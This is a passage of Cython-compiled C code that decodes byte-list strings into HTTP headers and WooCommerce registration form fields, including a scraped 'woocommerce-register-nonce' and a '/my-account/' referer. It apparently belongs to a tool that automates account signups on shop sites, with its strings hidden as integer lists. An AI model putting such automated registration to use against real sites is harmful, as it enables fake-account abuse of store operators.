    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_13, 12, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 13, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_13, 14, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_13, 15, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_13, 16, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 17, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_13, 18, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 20, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 21, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 22, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 23, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 24, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_13, 25, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 26, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 27, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 28, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 29, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 30, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 31, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_13, 32, __pyx_int_100);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 416, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 416, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_5, __pyx_t_13) < 0) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyList_New(6); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_97);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = PyList_New(8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 417, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_13, __pyx_t_5) < 0) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(10); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 418, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_116);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 418, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 418, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_user); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 418, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_5, __pyx_t_13) < 0) __PYX_ERR(0, 414, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_headers, __pyx_t_2) < 0) __PYX_ERR(0, 413, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __pyx_t_2 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_13 = PyList_New(8); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_101);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_username); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_13, __pyx_t_5) < 0) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 422, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_108);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 422, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 422, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_acc); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 422, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_5, __pyx_t_13) < 0) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __pyx_t_13 = PyList_New(26); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 423, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 12, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 13, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_13, 14, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_13, 15, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_13, 16, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 17, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 18, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_13, 19, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 20, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 21, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 22, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 23, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 24, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_13, 25, __pyx_int_101);
    __pyx_t_5 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 423, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_5, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 423, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_register); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 423, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_13, __pyx_t_5) < 0) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

    
    __pyx_t_5 = PyList_New(16); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_5, 11, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 12, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 13, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 14, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_5, 15, __pyx_int_114);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = PyList_New(12); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 0, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_13, 1, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_121);
    __Pyx_GIVEREF(__pyx_int_121);
    PyList_SET_ITEM(__pyx_t_13, 2, __pyx_int_121);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_13, 3, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_13, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_13, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_13, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_117);
    __Pyx_GIVEREF(__pyx_int_117);
    PyList_SET_ITEM(__pyx_t_13, 8, __pyx_int_117);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_13, 9, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_13, 10, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_13, 11, __pyx_int_47);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 424, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    if (PyDict_SetItem(__pyx_t_2, __pyx_t_5, __pyx_t_13) < 0) __PYX_ERR(0, 421, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
